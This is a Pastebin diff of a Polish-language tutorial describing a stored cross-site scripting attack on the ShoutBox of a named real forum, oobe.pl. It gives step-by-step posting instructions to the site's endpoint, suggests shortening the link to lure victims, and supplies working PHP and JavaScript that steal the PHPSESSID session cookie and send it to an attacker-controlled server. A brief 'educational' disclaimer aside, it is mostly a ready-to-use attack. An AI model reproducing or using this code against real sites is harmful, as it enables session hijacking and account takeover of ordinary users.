View difference between Paste ID: QTXtCrRQ and TKVYBX0m
SHOW: | | - or go back to the newest paste.
1
					   XSS OOBE.pl
2
					   by robercik101 :P
3
4
Chciałbym przedstawić tu koncepcję ataku XSS na użytkowników forum oobe.pl, głównie na ShoutBox,
5
który został usunięty ze strony po tym jak odkryłem w nim błąd typu Cross Site Scripting (
6
(http://www.oobe.pl/park/index.php?showtopic=7637), jednak dalej jest on zagrożeniem, za pomocą niego można
7
wstrzyknąć kod JS, który przechwyci ciasteczko sesyjne i wyśle je na podany przez nas adres.
8
Przedstawiona tu metoda została zamieszczona tylko i wyłącznie w celach edukacyjnych i używasz jej TYLKO NA WŁASNĄ
9
ODPOWIEDZIALNOŚĆ ;) 
10
Została tu ona zamieszczona, aby pokazać jak źle jest ona zabezpieczona ;)
11
Potrzebne narzędzia: HackBar dla FireFox
12
Po zalogowaniu się na forum, w HackBarze zaznaczamy "Enable Post Data" i "Enable Referrer", w pierwsze pole
13
wpisujemy:
14
http://www.oobe.pl/park/index.php?autocom=portal&do=sb_post&xml=1
15
w drugie:
16
Post=tu_nasza_tresc&sb_id=&
17
tu_nasza_tresc to nasz text do zapostowania ;)
18
Często wymaga on zakodowania w formacie URL, wtedy zaznaczamy tu_nasza_tresc, wchodzimy w menu "Encoding" i klikamy 
19
URLEncode
20
W trzecie pole wpisujemy:
21
http://www.oobe.pl/park/index.php
22
I wciskamy przycisk "Execute" ;)
23
Powinna się pojawić biała strona z napisem "ok" w rogu
24
Teraz można sprawdzić czy nasz tekst się zapostował wchodząc na 
25
http://www.oobe.pl/park/index.php?autocom=portal&do=shoutbox
26
Link powyżej można wysłać w czystej formie lub skracać na tinyurl.com i wysłać ofierze u której chcemy aby nasz 
27
skrypt się uruchomił ;)
28
29
A tu skrypt przechwytujący ciasteczko sesyjne, składa się on z dwóch elementów, pliku save.php który wrzucamy na serwer
30
i który zapisuje ciasteczko a drugi przechwytuje je i wysyła je do tego skryptu do poprzedniego (save.php),
31
prawda, że proste? :P
32
33
save.php
34
== CUT HERE ==
35
<?
36
$fp = fopen("data.txt","a");
37
foreach($_POST as $A=>$B){
38
fwrite($fp,$A."=".$B."\n");
39
}
40
fclose($fp);
41
?>
42
== CUT HERE ==
43
To wrzucamy do shoutboxa jako tu_nasza_tresc (trzeba zakodować!,
44
jak wrzucasz kod bezpośredni nie zapomnij o tagach <script> i </script> przed i po kodzie
45
) albo jako plik js na zdalnym serwerze i dołączyć 
46
go za pomocą tagu <script> z parametrem src ;) (lepiej wybrać to drugie!)
47
48
== CUT HERE ==
49
//Funkcja pobierające cookie
50
function getCookie(cname)
51
{
52
var name = cname + "=";
53
var ca = document.cookie.split(';');
54
for(var i=0; i<ca.length; i++)
55
  {
56
  var c = ca[i].trim();
57
  if (c.indexOf(name)==0) return c.substring(name.length,c.length);
58
  }
59
return "";
60
} 
61
var xml;
62
if (window.XMLHttpRequest){
63
xml=new XMLHttpRequest();
64
}
65
else
66
{
67
xml=new ActiveXObject("Microsoft.XMLHTTP");
68
}
69
xml.open("POST","http://adres_twojej_strony/save.php",true);
70
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
71
xml.send("sid="+getCookie("PHPSESSID"));
72
== CUT HERE ==
73
74
Pozdrawiam i życzę szczęśliwego roku 2014 ;)
75-
robercik101 ;)
75+
robercik101 ;)
76
77
Aktualizacja:
78
Błąd dalej tam tkwi, więc upubliczniam ten tekst, może to sprawi że admin to poprawi :)